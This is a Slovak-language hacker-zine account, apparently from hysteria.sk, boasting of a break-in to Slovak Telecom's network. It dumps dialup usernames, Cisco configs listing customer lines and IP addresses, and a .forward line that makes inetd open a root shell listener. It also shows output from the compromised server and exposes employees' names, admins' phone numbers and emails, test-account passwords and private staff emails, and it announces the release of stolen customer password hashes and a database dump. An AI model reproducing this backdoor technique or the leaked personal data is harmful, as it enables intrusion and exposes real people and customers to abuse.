In 0557292002 ---N/A--- turlvlad95 10769 - -
In 0557291741 ---N/A--- +0002800300 10548 - -
In 0566281662 ---N/A--- patakeva94 10423 - -
In 0566481150 ---N/A--- 10304 - -
In 0557998098 ---N/A--- +ab0b10036d 9516 - -
In 0556742129 ---N/A--- 9018 - -
In 0557999147 ---N/A--- fatrajsk46 8918 - -
In 0514583145 ---N/A--- 8533 - -
In 0566882921 ---N/A--- ondojana94 8419 - -
In 0566384468 ---N/A--- 8267 - -
In 0556450325 ---N/A--- 7307 - -
In 0556450408 ---N/A--- 7270 - -
In 0556336018 ---N/A--- strakala55 7090 - -
In 0556336408 ---N/A--- tomkamil55 6895 - -
In 0554662412 ---N/A--- gedeonvi55 6825 - -
In 0566425761 ---N/A--- 6685 - -
In 0556970081 ---N/A--- 6647 - -
In 0566790030 ---N/A--- 6632 - -
In 0554665442 ---N/A--- 6609 - -
In 0556744293 ---N/A--- 6561 - -
In 0566281691 ---N/A--- sabovlad94 6241 - -
In 0566881031 ---N/A--- 6225 - -
In 0557296391 ---N/A--- +0002800300 6135 - -
In 0566420903 ---N/A--- 6090 - -
In 0556941300 ---N/A--- semjanpa55 6077 - -
In 0557896032 ---N/A--- medicale95 6068 - -
In 0556711318 ---N/A--- 5978 - -
In 0556257237 ---N/A--- karolloh95 5955 - -
In 0566888083 ---N/A--- mikostef94 5873 - -
In 0556325568 ---N/A--- liptbria95 5742 - -
In 0566682260 ---N/A--- salajoze94 5713 - -
...

fiha to vyzera ako nejaki dialup usery :)


a hned ponukame maly vysek z "sh run":


aaa new-model
aaa authentication password-prompt "Enter Your Access Password:"
aaa authentication username-prompt "Welcome in ISDN ST_OnLine, Enter Your Username:"


teraz uz mu bolo jasne ze sa jedna o "nejaky" ISDN dialup
co je to to ISDN ST_OnLine ? nie je to to na co sme nuteni kazdy den pozerat na billboardoch, v televizii, pocuvat
o tom v radii a neviem kde vsade ? Asi to s tym nieco bude mat spolocne. Prve co kazdeho cloveka pri takejto spolocnosti napadne
je co tak zariadit aby sa ST_OnLine zmenilo na ST_OffLine ? Ved to nie je problem mame full access na vsetky ISDN dialupy
tak ich staci pozhadzovat. Ale tu by zabava skoncila a my sme predsa dobraci a tak radsej budeme dalej lozit po sieti
a hladat ci sa nenajde nieco viac (a ono sa toho este vela vela vela najde ;).




Co dalej?


Ked mame uz niekde pristup, nebolo by zle poobzerat sa ako to je cele nakonfigurovane a ako to vlastne funguje,
ako je co s cim poprepajane atd. Dalsim krokom je logicky poukladat poctivo vsetky konfiguracie a pocas dlhych
vecerov namiesto romanov citat configy cisco routerov. A vzhladom na to ze clovek (zvlast ten nas) je tvor lenivy
tak to aj nejaky ten cas trvalo. Ale naslo sa vela dalsich pouzitelnych veci (taky user ehmehm s ktorym sa dostaneme
rovno do enable modu na vacsine uz nie malych bezvyznamnych routerov infoveku ale velkych dost podstatnych routerov.
Takze uz nemame jedneho usera, ale hned dvoch (univerzalnych). Binarna sxizofrenia zacina.. :)


username (ehmehm) password 7 (ehmehm)


Zrazu sme sa s nasim malym pribehom dostali o kusok dalej. "(ehmehm)" bol user ktory bol vlastne klucom
k celemu zvysku siete. Nasi dobrodruhovia sa s nim mohli uz pripajat takmer vsade (cca 90% siete). Pomaly si zaciname klast
otazku preco firma ktora ma tolko zakaznikov a tolko penazi absolutne ignoruje to ze jej velmi dlhu dobu lozi po sieti
este nejaky paralelny admin/paralelni admini. Ale to znova my riesit v nasej story nebudeme ;).
Tak zrazu ma niekto v rukach celu velku siet a nevie celkom co s nou lebo je tak velka ze sa v nej musi chvilu orientovat.
V ramci relaxacie a pasivity sa zacneme len tak telnetovat kade tade a zistujeme ze sa na vacsinu miest s nasim novym
userom dostavame rovno do enable modu. Teraz by sa hodilo dalsich par prikladov kam to vlastne mame pristup:



Trying 192.108.148.30...
Connected to Telecom-gw.six.sk (192.108.148.30).
Escape character is '^]'.


The Slovak Internet Exchange

Slovak Technical University Computer Centre

Bratislava, SLOVAK REPUBLIC


Gateway to Slovak Telecom




User Access Verification

Username: (ehmehm)
Password:
ba-six-1>

to bola taka mensia ceresnicka (tortu treba jest od vrchu ;)) a teraz dalej. Dobra vec co nasa firma robi je to, ze si
ku kazdemu interfejsu napise description, takze mame slusny prehlad o tom kam mame pristup, resp. kto vsetko su jej zakaznici.
napriklad (ostavame pripojeni tam kde sme boli o par riadkov vyssie...):

len male vyseky z "sh interf"

Hardware is C6k 1000Mb 802.3, address is 0001.c9db.4dcc (bia 0001.c9db.4dcc)
Description: ISL trunk to cat2900, BA-Jarabinkova, 1.posch.

Hardware is GigabitEthernet Interface, address is 0009.e979.724a (bia 0009.e979.724a)
Description: ADSL test segment


teraz prejdeme na dalsi:

Description: Line To Matsushita Krompachy, KRMP-SNVS NP501

Hardware is 4T/MC68360
Description: Line to Maurice Ward & Co, SNVS-SNVS NP508

Hardware is 4T/MC68360
Description: SEZ Krompachy Krompachy-SNVS NP502

Hardware is MPA-E1
Description: line to Kosice via SDH (ke-snvs np2)


dalsi priklad:

interface Serial2/2
description VUB-2nd line, BA-BA NP 539
bandwidth 1024
ip address 212.5.209.153 255.255.255.252
no ip directed-broadcast
encapsulation ppp
no ip mroute-cache
!
interface Serial2/3
description Line to CMSS_BA Gateway
bandwidth 1024
ip address 195.146.128.181 255.255.255.252
no ip directed-broadcast
no ip mroute-cache
clockrate 1007616
!
interface Serial3/0
description Line to Allianz BA-BA NP545
bandwidth 512
ip address 212.5.209.189 255.255.255.252
no ip directed-broadcast
encapsulation ppp
no ip mroute-cache
!
interface Serial3/1
description Statna pokladnica NP1423 (BA - BA 30n5046)
bandwidth 2048
ip address 10.1.10.1 255.255.255.252
ip access-group 77 out
no ip directed-broadcast
encapsulation ppp
no ip mroute-cache
!
interface Serial3/2.1 point-to-point
description BA-BA FRP143 - DLCI 205 - Zakladna skola (sluch. post.)
bandwidth 64
...

dalsie interfejsi...
(skoly vynechavame tych je vela :)

interface Serial4/0:1
description Fond ochrany vkladov BA - BA NP 590 3ts
bandwidth 64
ip address 212.5.209.45 255.255.255.252
no ip directed-broadcast
encapsulation ppp
!
interface Serial4/0:3
description Line to HTC BA-BA NP516 TS 7-10
bandwidth 256
ip address 195.146.128.205 255.255.255.252
no ip directed-broadcast
encapsulation ppp
load-interval 180
!
interface Serial4/0:4
description Tronet - ministerstvo BA-BA NP580
bandwidth 256
ip address 212.5.209.233 255.255.255.252
no ip directed-broadcast
encapsulation ppp
!
interface Serial4/0:5
description metalurg BA-BA NP 503 TS 15-16
bandwidth 128
ip address 212.5.209.17 255.255.255.252
no ip directed-broadcast
encapsulation ppp
!
interface Serial4/0:6
description docasny okruh BRATISLAVA-STUPAVA NP9992 ts 29-30
no ip address
no ip directed-broadcast
load-interval 360
shutdown
!
interface Serial4/0:7
description Sutkova Lucia BA - BA NP 584 e1 4/0 17-20TS
bandwidth 256
ip address 212.5.209.253 255.255.255.252
no ip directed-broadcast
encapsulation ppp
interface Serial4/0:9
description Velvyslanectvo Chorvatskej republiky BA-BA NP586
bandwidth 128
ip address 212.5.209.37 255.255.255.252
no ip directed-broadcast
encapsulation ppp
!
interface Serial4/0:10
description line to Fond pre podporu ZO, BA-BA NP509 ts 24-27
bandwidth 256
ip address 195.146.128.225 255.255.255.252
no ip directed-broadcast
encapsulation ppp
!
interface Serial4/0:23
description Autorizacne centrum BA-BA NP589
bandwidth 64
ip address 213.81.239.21 255.255.255.252
no ip directed-broadcast
encapsulation ppp
interface Serial5/1:0
description Line to PriNet D-Zone BA-BA NP801
bandwidth 2048
ip address 195.146.128.245 255.255.255.252
no ip directed-broadcast
encapsulation ppp
load-interval 240
priority-group 1
!
interface Serial5/2:0
description Line to VUB VPDN BA-BA NP1382
bandwidth 2048
ip address 212.5.209.225 255.255.255.252
no ip directed-broadcast
encapsulation ppp
load-interval 360
no fair-queue
!
interface Serial5/3:0
description Line to TV Markiza BA-BA NP581 Slov. telev. spolocnost
bandwidth 2048
ip address 212.5.209.77 255.255.255.252
no ip directed-broadcast
encapsulation ppp
load-interval 360
no fair-queue
!
interface Serial5/4:0
description truckshow
ip address 212.5.209.69 255.255.255.252
no ip directed-broadcast
encapsulation ppp
!
interface Serial5/5:0
description www.markiza.sk BA - BA NP 582
bandwidth 2048
no ip address
no ip directed-broadcast
encapsulation ppp
no ip route-cache cef
no ip route-cache
load-interval 30
no fair-queue
ppp multilink
multilink-group 1
!
interface Serial5/6:0
description www.markiza.sk#2 BA - BA NP 583
bandwidth 2048
no ip address
no ip directed-broadcast
encapsulation ppp
no ip route-cache cef
no ip route-cache
load-interval 30
no fair-queue
ppp multilink
multilink-group 1
!
interface Serial5/7:0
description docasna linka cofax ba-ba np 998
bandwidth 2048
no ip address
no ip directed-broadcast
encapsulation ppp
load-interval 360
shutdown

mat uplny pristup niekde kde su taketo linky ma iste svoje vyhody.. ake to uz nechavame na vasej fantazii ;)

a prikladame dalsie, tentokrat z bb-ce-1:


interface Ethernet1/1
description New line to MINV BB, 1024kbps, cisco2600, ZS, NP503
ip address 195.146.132.233 255.255.255.252
no ip redirects
no ip directed-broadcast
!
interface Ethernet1/2
description backup WebHouse (Cat1 2/24 VLAN5)
ip address 212.5.216.61 255.255.255.0
ip access-group 107 out
no ip redirects
no ip directed-broadcast
standby priority 90
standby preempt
standby ip 212.5.216.1
!
interface Ethernet1/3
description Managment (BB-Cat1 2/19)
ip address 195.146.132.16 255.255.255.224
no ip directed-broadcast
!
interface Serial2/0
description Line to Softip Enduser (NP502 BB-BB)
ip address 195.146.132.249 255.255.255.252
no ip directed-broadcast
encapsulation ppp
bandwidth 512
custom-queue-list 1
!
interface Serial2/1
description #line for VPDN-Isternet bb-bb np30
ip address 195.146.132.245 255.255.255.252
no ip directed-broadcast
encapsulation ppp
bandwidth 1024
shutdown
!
interface Serial2/2
description Line to Slov.Agent.Ziv.Prostr. NP504(n120c37p0-n128c3p1)
ip address 195.146.132.241 255.255.255.252
encapsulation ppp
bandwidth 512
!
interface Serial2/3
no ip address
bandwidth 128
shutdown
priority-group 9
!
interface Serial3/0
description line to ST_BB
ip address 195.146.132.225 255.255.255.252
ip access-group 119 in
no ip directed-broadcast
encapsulation ppp
clockrate 125000
!
interface Serial3/1
description #line for VPDN-Isternet bb-bb np30
ip address 195.146.132.245 255.255.255.252
no ip directed-broadcast
encapsulation ppp
bandwidth 2048
no fair-queue
!

teraz vynimocne skoly nevynechame...

!
interface Serial3/2.1 point-to-point
description BB-BB FRP35 - DLCI 200 - Gymnazium
ip address 213.81.175.1 255.255.255.252
no ip directed-broadcast
bandwidth 64
frame-relay interface-dlci 200
!
interface Serial3/2.2 point-to-point
description BB-BREZ FRP11 - DLCI 201 - Zakladna skola
ip address 213.81.175.5 255.255.255.252
no ip directed-broadcast
bandwidth 64
frame-relay interface-dlci 201
!
interface Serial3/2.3 point-to-point
description satellite - DLCI 202 - Zakladna skola (mad.)
ip address 213.81.175.9 255.255.255.252
no ip directed-broadcast
bandwidth 64
frame-relay interface-dlci 202
!
interface Serial3/2.4 point-to-point
description BB-RIMS FRP15 - DLCI 203 - Zakladna skola
ip address 213.81.175.13 255.255.255.252
no ip directed-broadcast
bandwidth 64
frame-relay interface-dlci 203
!
interface Serial3/2.5 point-to-point
description BB-RIMS FRP16 - DLCI 204 - Zakladna skola
ip address 213.81.175.17 255.255.255.252
no ip directed-broadcast
bandwidth 64
frame-relay interface-dlci 204
!
interface Serial3/2.6 point-to-point
description VINI-ZVOL FRP10 - DLCI 205 - Zakladna skola (mad.)
ip address 213.81.175.21 255.255.255.252
no ip directed-broadcast
bandwidth 64
frame-relay interface-dlci 205
!
interface Serial3/2.7 point-to-point
description ZVOL-ZARN FRP10 - DLCI 206 - Zakladna skola
ip address 213.81.175.25 255.255.255.252
no ip directed-broadcast
bandwidth 64
frame-relay interface-dlci 206
!
interface Serial3/2.8 point-to-point
description BB-ZVOL FRP13 - DLCI 207 - Stredna priemyselna skola
ip address 213.81.175.29 255.255.255.252
no ip directed-broadcast
bandwidth 64
frame-relay interface-dlci 207
!
interface Serial3/2.10 point-to-point
description BB-BB FRP36 - DLCI 209 - MC Banska Bystrica
ip address 213.81.175.37 255.255.255.252
no ip directed-broadcast
bandwidth 64
frame-relay interface-dlci 209
!
interface Serial3/2.11 point-to-point
description BB-TISOVEC FRPxx DLCI 210 - Evan. gymn.
ip address 213.81.175.109 255.255.255.252
no ip directed-broadcast
bandwidth 64
frame-relay interface-dlci 210
!
interface Serial3/2.12 point-to-point
description BB-BS FRP11 id301 SPS Akademicka Banska St
ip unnumbered Loopback0
no ip directed-broadcast
bandwidth 128
frame-relay interface-dlci 214
!
interface Serial3/2.13 point-to-point
description BB-BS FRP10 id1 Gymnazium Gwerkovej Banska St
ip unnumbered Loopback0
no ip directed-broadcast
bandwidth 128
frame-relay interface-dlci 215
!
interface Serial3/2.14 point-to-point
description BB-FI FRP10 id24 Gymnazium Nam.padl. Filakovo
ip unnumbered Loopback0
no ip directed-broadcast
bandwidth 128
frame-relay interface-dlci 217
!
interface Serial3/2.21 point-to-point
description id322 SPS Laskomerskeho 3 Brezno
ip unnumbered Loopback0
bandwidth 128
frame-relay interface-dlci 211
!
interface Serial3/2.22 point-to-point
description id405 ZS K. Raposa Skolska 5 Brezno
ip unnumbered Loopback0
bandwidth 128
frame-relay interface-dlci 212
!
interface Serial3/2.26 point-to-point
description id457 OA Lipova 8 Handlova
ip unnumbered Loopback0
bandwidth 128
frame-relay interface-dlci 220
!
interface Serial3/2.27 point-to-point
description id338 OA Jarmocna 30 Modry Kamen
ip unnumbered Loopback0
bandwidth 128
frame-relay interface-dlci 222
!
interface Serial3/2.28 point-to-point
description id412 SOU polnohospodarske + DOS Osvety 17 Nova Bana
ip unnumbered Loopback0
bandwidth 128
frame-relay interface-dlci 219
!
interface Serial3/2.29 point-to-point
description id553 II. ZS Sturova 12 Detva
ip unnumbered Loopback0
bandwidth 128
frame-relay interface-dlci 221
!
interface Serial3/3
description link to STIP_BB_CAR S0/0
ip address 195.146.132.177 255.255.255.252
encapsulation ppp
ip ospf cost 11300
no fair-queue
clockrate 2000000
!
interface Serial4/1:1
description Sluzobny BB-BB NP516 3697/02/40
ip address 195.146.132.221 255.255.255.252
encapsulation ppp
bandwidth 64
!
interface Serial4/1:2
description BB samospravny kraj NP517 BB-BB
ip address 195.146.132.229 255.255.255.252
encapsulation ppp
bandwidth 128
!
interface Serial4/1:5
description VPDN Slovenska posta, NP505, BB-BB TS4-5, HDLC
ip address 195.146.132.213 255.255.255.252
bandwidth 128

atd.
tak to bol maly strucny prehlad toho co sa v tejto spolocnosti okrem vela inych veci nachadzalo,
mozno este aj nachadza :).


Kapitanov dennik, hviezdny datum XY (od cisca k unixom)



Teraz by sme mohli prejst od tych skaredych velkych drahych cisco routerov k nejakym
peknym milym a este drahsim SUNovskym serverom. V telecome asi strasne radi backupuju
a najroznejsie backupy nechavaju len tak povalovat na serveroch (konkretne na logserver.telecom.sk)
pochopitelne z pravami rw pre vlastnika a r pre groupu a ostatnych. Tak ako dalej uvidime
v tychto backupoch sa da najst kade co :). K SUNom bol pristup bohuzial len cez ftp s "ehmehm" userom,
ale dalo sa to velmi jednoducho napravit:



takze pod nasim uzivatelom sme si vytvorili v jeho home subor .forward s nasledovnym obsahom :))

|"/bin/echo "listen stream tcp nowait root /bin/sh sh" > /tmp/.h; /usr/sbin/inetd -s /tmp/.h"


a potom uz len stacilo poslat uzivatelovi ehmehm mail a:

telnet> Trying 195.146.132.10...
Connected to mail.telecom.sk.
Escape character is '^]'.
uname -a
SunOS logserver 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-30
ps -aAf
UID PID PPID C STIME TTY TIME CMD
root 0 0 0 Apr 15 ? 0:00 sched
root 1 0 0 Apr 15 ? 0:27 /etc/init -
root 2 0 0 Apr 15 ? 0:00 pageout
root 3 0 0 Apr 15 ? 22:37 fsflush
root 320 1 0 Apr 15 ? 0:00 /usr/lib/saf/sac -t 300
root 396 1 0 Apr 15 console 0:00 /usr/lib/saf/ttymon -g -h -p logserver console login: -T sun -d /dev/console -
nobody 26131 300 0 May 06 ? 0:06 /www/bin/httpd -DSSL
root 53 1 0 Apr 15 ? 0:00 /usr/lib/sysevent/syseventd
root 55 1 0 Apr 15 ? 0:00 /usr/lib/sysevent/syseventconfd
nobody 29309 300 0 May 06 ? 0:06 /www/bin/httpd -DSSL
root 313 1 0 Apr 15 ? 5:48 /usr/local/bin/prngd /var/spool/prngd/pool
root 8494 1 0 Apr 23 ? 2:50 /usr/lib/sendmail -bd -q15m
root 186 1 0 Apr 15 ? 16:32 /usr/sbin/nscd
root 171 1 0 Apr 15 ? 65:06 /usr/sbin/syslogd
root 177 1 0 Apr 15 ? 0:38 /usr/sbin/cron
root 6275 1 0 Apr 30 ? 2:34 /usr/sbin/inetd -s
nobody 29306 300 0 May 06 ? 0:07 /www/bin/httpd -DSSL
root 310 1 0 Apr 15 ? 0:00 /usr/local/sbin/sshd
nobody 26241 300 0 May 06 ? 0:06 /www/bin/httpd -DSSL
oracle 241 1 0 Apr 15 ? 0:00 ora_pmon_cat
oracle 222 1 0 Apr 15 ? 0:02 /opt/oracle/app/oracle/product/8.0.5./bin/tnslsnr LISTENER -inherit
oracle 243 1 0 Apr 15 ? 0:00 ora_dbw0_cat
oracle 245 1 0 Apr 15 ? 0:00 ora_lgwr_cat
oracle 247 1 0 Apr 15 ? 4:56 ora_ckpt_cat
oracle 249 1 0 Apr 15 ? 0:04 ora_smon_cat
oracle 251 1 0 Apr 15 ? 0:00 ora_reco_cat
root 278 1 0 Apr 15 ? 0:00 /usr/lib/utmpd
mailman 13503 177 0 21:59:00 ? 0:00 sh -c /usr/local/bin/python -S /export/home/mailman/cron/qrunner
root 13522 13334 0 22:00:24 ? 0:00 ps -aAf
root 330 320 0 Apr 15 ? 0:00 /usr/lib/saf/ttymon
root 300 1 0 Apr 15 ? 0:01 /www/bin/httpd -DSSL
root 10751 13771 0 19:00:15 ? 0:00 /opt/rav/bin/ravmd
nobody 26132 300 0 May 06 ? 0:06 /www/bin/httpd -DSSL
root 13480 8494 0 21:57:36 ? 0:00 /usr/lib/sendmail -bd -q15m
mailman 13504 13503 95 21:59:00 ? 1:21 /usr/local/bin/python -S /export/home/mailman/cron/qrunner
nobody 26129 300 0 May 06 ? 0:07 /www/bin/httpd -DSSL
nobody 28605 300 0 May 06 ? 0:07 /www/bin/httpd -DSSL
ravms 8619 1 0 Apr 16 ? 8:21 /opt/rav/bin/RAVMilter -d
root 13771 13770 0 Apr 16 ? 1:51 /opt/rav/bin/ravmd
nobody 29308 300 0 May 06 ? 0:07 /www/bin/httpd -DSSL
root 13770 1 0 Apr 16 ? 0:00 /opt/rav/bin/ravmd
root 13509 8494 0 21:59:41 ? 0:00 /usr/lib/sendmail -bd -q15m
nobody 26133 300 0 May 06 ? 0:06 /www/bin/httpd -DSSL


este nejaky ten ls :)

drwxr-xr-x 14 root root 512 Apr 30 13:01 .
drwxr-xr-x 4 root root 512 Mar 14 2002 ..
drwxr-xr-x 2 ciscops other 512 May 11 22:11 ciscops
drwxr-xr-x 3 rkaloc other 512 Jan 17 15:00 kaloc
drwxr-xr-x 4 katuska other 512 Feb 24 14:41 katuska
drwxr-xr-x 414 kocur other 20480 May 9 11:43 kocur
drwxr-xr-x 2 loboivan other 512 Mar 3 09:49 loboivan
drwx------ 2 root root 8192 Mar 12 2002 lost+found
lrwxrwxrwx 1 root other 12 Jun 6 2002 mailman -> /opt/mailman
drwxr-xr-x 20 maruniak other 1536 May 9 10:29 maruniak
drwxr-xr-x 3 moravcik other 512 Mar 1 12:19 moravcik
drwxr-xr-x 2 oracle dba 1024 May 10 23:50 oracle
drwxr-xr-x 3 oracle dba 512 Mar 14 2002 oramount01
drwxr-xr-x 2 root other 512 Nov 19 12:00 telecom
drwxr-xr-x 4 102 other 512 Nov 21 08:37 zarnovic

logserver je zaujimavy stroj z viacerych dovodov, nehladiac na to, ze sa tam ukladaju logy
z kazdeho cisca na sieti, sme prave tu nasli vela roznych backupov, takym prikladom je jeden
oracle dump:

root@smrad:/# du -hs telz.dmp.gz
127M telz.dmp.gz
root@smrad:/#

s tymto je hned spojena aj nova sluzba hysterky, najdete ju na http://hysteria.sk/zoznamst

dalsi velmi podstatny ulovok je backup z jedneho pravdepodobne "maleho bezvyznamneho" serveru

root@smrad:/# wc -l shadow
82091 shadow
root@smrad:/#

82091 uzivatelov, to je v celku dost na to aby to boli vsetci zakaznici teleko ropuchy
na Slovensku. A asi to tak bude (po par experimentoch s niektorymi kontami sa dobrodruhovia o tom presvedcili).
Zaujimalo by ma ci na toto telecom zareaguje a zacne menit vsetkym zakaznikom hesla :).

dalej uz len tak chaoticky napriklad telefonne cisla adminov (predpokladam :))




kocurmobil: 0903416913@sms.eurotel.sk
kalocmobil: 0903272631@sms.eurotel.sk
webmaster: gajdos,blazicek,marketing,vladimir.taraba@st.sk,emil.pastucha@st.sk
gdsmaster: kovesi,levicky
gdsprofimaster: gajdos,blazicek
mailmaster: kocur,katuska,maruniak
news-admin: news@news.telecom.sk
newsmaster: news@news.telecom.sk
hostmaster: katuska,maruniak
hostm-stonline: domeny,hotline,hornik,mbalog,janaslov,kracunov
postmaster: kocur,hornik
#alarm: puskajr
#cisco-bgp:md@bts.sk,koprda@bgs.sk,kollar@bgs.sk,haraslin@bgs.sk,smolen
stip: stip-l
webhousing: stip-l
vpdn: stip-l
infovek: hornikova@telecom.sk,katuska@telecom.sk,ivan.kemka@st.sk,juraj.kollarik@st.sk;roman.baranovic@infovek.sk
mate: 0905660262@sms.eurotel.sk
klaudia: klaudia@ns.telecom.sk
moravcik: moravcik,root@lx.telecom.sk
mail_add: "|/export/www/veci/telemail/mail_add.php3"
hornikova: hornik
jana.hornikova: hornik
balog: mbalog
sossms: 0903272636@sms.eurotel.sk

test-l: test-l@logserver.telecom.sk
test-l-admin: test-l-admin@logserver.telecom.sk
test-l-request: test-l-request@logserver.telecom.sk
test-l-owner: test-l-owner@logserver.telecom.sk

cisco-l: cisco-l@logserver.telecom.sk
cisco-l-admin: cisco-l-admin@logserver.telecom.sk
cisco-l-request: cisco-l-request@logserver.telecom.sk
cisco-l-owner: cisco-l-owner@logserver.telecom.sk

stadmin-l: stadmin-l@logserver.telecom.sk
stadmin-l-admin: stadmin-l-admin@logserver.telecom.sk
stadmin-l-request: stadmin-l-request@logserver.telecom.sk
stadmin-l-owner: stadmin-l-owner@logserver.telecom.sk

net-l: net-l@logserver.telecom.sk
net-l-admin: net-l-admin@logserver.telecom.sk
net-l-request: net-l-request@logserver.telecom.sk
net-l-owner: net-l-owner@logserver.telecom.sk

untech-l: untech-l@logserver.telecom.sk
untech-l-admin: untech-l-admin@logserver.telecom.sk
untech-l-request: untech-l-request@logserver.telecom.sk
untech-l-owner: untech-l-owner@logserver.telecom.sk

techgroup-l: techgroup-l@logserver.telecom.sk
techgroup-l-admin: techgroup-l-admin@logserver.telecom.sk
techgroup-l-request: techgroup-l-request@logserver.telecom.sk
techgroup-l-owner: techgroup-l-owner@logserver.telecom.sk

stip-l: stip-l@logserver.telecom.sk
stip-l-admin: stip-l-admin@logserver.telecom.sk
stip-l-request: stip-l-request@logserver.telecom.sk
stip-l-owner: stip-l-owner@logserver.telecom.sk

ak chcete zavolat adminom telecomu nech sa paci :)
dalsim takym zaujimavim fajlom je /etc/passwd (aj /etc/shadow ale ten si nechame radsej pre seba ;))



mihalek:x:1554:101:Mihalek Peter Ing.:/export/home/telecom/mihalek:/etc/dial-sh
babcanova:x:1555:101:Babcanova Jozefina Ing.:/export/home/telecom/babcanova:/etc/dial-sh
guran:x:1556:101:Guran Dezider Ing.:/export/home/telecom/guran:/etc/dial-sh
tibor.o:x:1566:101:Tibor Olejka:/export/home/telecom/tibor.o:/etc/dial-sh
smolen:x:1567:10:Magda Smolenova:/export/home/telecom/smolen:/bin/tcsh
ke:x:1568:101:Zosilovacka Kosice:/export/home/telecom/ke:/etc/dial-sh
tn:x:1569:101:Zosilovacka Trencin:/export/home/telecom/tn:/etc/dial-sh
po:x:1576:101:Zosilovacka Presov:/export/home/telecom/po:/etc/dial-sh
za:x:1575:101:Zosilovacka Zilina:/export/home/telecom/za:/etc/dial-sh
po:x:1576:101:Zosilovacka Presov:/export/home/telecom/po:/etc/dial-sh
christen:x:1579:101:RNDr. Christenko Sergej:/export/home/telecom/christen:/etc/dial-sh
kovacic:x:1580:101:Mgr. Kovacic, ved. odboru:/export/home/telecom/kovacic:/etc/dial-sh
gotzman:x:1581:101:Ing. Gotzman Jozef, ved. odboru:/export/home/telecom/gotzman:/etc/dial-sh
ambros:x:1584:101:Ing. Ambros Otomar, ved. odboru:/export/home/telecom/ambros:/etc/dial-sh
takac:x:1585:101:Ing. Takac Frantisek, ved. projektu:/export/home/telecom/takac:/etc/dial-sh
stancel:x:1586:101:Mgr. Stancel, Poradca g. r.:/export/home/telecom/stancel:/etc/dial-sh
simasek:x:1589:101:Ing. Simasek Lubomir, specialista:/export/home/telecom/simasek:/etc/dial-sh
himalaje:x:1626:101:Dezider Guran Ing., veduci odboru TIS:/export/home/telecom/himalaje:/etc/dial-sh
jurkov:x:1628:101:Jurkovic Marian Ing., CMSS Intranet, Extranet :/export/home/telecom/jurkov:/etc/dial-sh
frantise:x:1629:101:Dudik Frantisek Ing., Riaditel sekcie prevadzky, Ustredie:/export/home/telecom/frantise:/etc/dial-sh
kurz13:x:1631:101:Skoliace stredisko Lamac,Ba:/export/home/telecom/kurz13:/etc/dial-sh
kurz4:x:1632:101:Skoliace stredisko Lamac,Ba:/export/home/telecom/kurz4:/etc/dial-sh

/etc/dial-sh ktory ma vacsina userov ako shell vzyera takto:



#!/bin/sh

echo
echo "Zmena uzivatelskeho hesla"
echo "-------------------------"

/bin/passwd
exit

teta magda bude asi nejaky unix guru kedze ma ako shell nastaveny tcsh :))



Ocenitelne bolo ze sme si mohli sem tam pozriet do posty ludi pracujucich v ropuche,
niektore maily boli naozaj velmi zabavne, takze nasleduje dalsia rubrika




Napisali nam


From: stadmin-l@telecom.sk (JKatuska)
Date: Wed, 8 Jan 2003 09:22:33 +0100
Subject: nove test konta

Analog:
Login: ochranuj
Passwd: prirodu

ISDN:
Login: trpezlivo
Passwd: cakaj

|Jano|

testovacie konta sa mozu vzdy hodit (skoda ze sa menia priblizne kazdy mesiac)
no vlastne ono to ani taka skoda nie je kedze si ich kazdy mesiac pekne poslu mailom :)



Preco si vyletnikov v sieti telecomu nikto nevsima ? (verim ze nasi vyletnici neboli
prvi ani posledni kto objavoval telecom ako kolumbus ameriku). Mozno je to adminmi,
ale z nasledujuceho mailu skor vypliva ze je to niecim inym, teda k tomu kto
sa stara o tuto "najvacsiu, najmodernejsiu, najrobustnejsiu,..blabla" siet, pravdepodobne
prispieva to aky je pristup tych co sa staraju o to aby sa tocili financie. Oni sa asi aj
tocia (urcite) ale z tohoto je dost jasne ze sa tocia smermy roznymi ale urcite nie tymi
ktorymi by to bolo najvhodnejsie.



tu je jeden mail ktory vela vysvetluje, preco to v tejto spolocnosti vlastne je,
tak ako to je:



From: stadmin-l@telecom.sk (Peter Maruniak)
Date: Wed, 08 Jan 2003 13:52:34 +0100
Subject: vypoved
In-Reply-To: <5.1.0.14.2.20021225085602.0343e758@mail.telecom.sk>

> dobry den
> vzladom k skutocnostiam vyvoja nasej spolocnosti,
> medziludskych vztahov a k
> nedostatocnemu financnemu ohodnoteniu mojej osoby som sa rozhodol dat
> vypoved z tejto spolocnosti. dovodov je podstatne viac ale k
> definitivnemu
> rozhodnutiu ma prinutilo az vzhliadnutie novembrovej vyplaty
> v decembri.
> dalej by som rad spomenul ludi, ktori neustale zasahuju do
> mojej prace a do
> prace celeho timu internetistov, a za svoje rozhodnutia
> nenesu ziadnu
> zodpovednost /dufam, ze sa v tomto maily spoznaju..../ a vedu tuto
> spolocnost nevedno kam. v spolocnosti sa vynakladaju obrovske
> prostriedky
> na reklamne kampane, na nezmyselne projekty urcitych
> lobistickych skupin, a
> nezmyselne akcie ludskych zdrojov. tato spolocnost si nevie
> udrzat mladych
> perspektivnych zamestnancov, nevie ohodnotit ich pracu a dat
> im perspektivu
> do buducnosti. ak si niekto v tejto spolocnosti predstavuje
> buducnost ako
> marketingovu spolocnost bez prevadzky a ludi ktory
> zabezpecuju fungovanie
> tejto spolocnosti /vid. nazory na outsourcing/ tak je
> optimista, ktoreho z
> jeho sna preberie az skutocna realita. doteraz ma v tejto spolocnosti
> drzali len cast internetoveho timu a cely tim odboru OPUS na cele s
> ing.Caneckym, ktorym sa tymto sposobom chcem ospravedlnit za
> moj odchod a
> podakovat im za spolupracu.
>
> s pozdravom
>
> michal kaprinay

S tymito nazormi musim len suhlasit, sam by som to lepsie nenapisal.

Peter Maruniak

ak si niekto mysli, ze je drze bezohladne a neviem ake zverejnovat maily niektorych ludi
tak argumentujeme tym ze je este viac drze a bezohladne brat od zakaznikov take peniaze
ako ropucha berie a absolutne ignorovat stabilitu/bezpecnost/kvalitu sluzieb a vsetko
vrazat len to absolutne stupidnych a primitivnych reklamnych plagatov/spotov a lobistickych
skupin ? O tych bohuzial nasi smrtelnici vela nevedia takze sa k nim vyjadrit nemozu.



Spat do "reality"



v teleko ropuche pracuju evidentne aj zdatni coderi, ktory tvrdo odvadzaju
svoju pracu, ako mzome vidiet z casti kodu jedneho zo zamestnancov,
vzorovy priklad velmi zlozitej implementacie este zlozitejsieho algoritmu
sme mohli najst... to sim to bol homedir uja kocura (ale to si uz nikto nepamata)




testc.c:
main()
{
printf("Hello world.n");
}

muselo to dat vela namahy nieco take nacodit.



na logserver.telecom.sk sme nasli aj taketo veci
vystup ls:



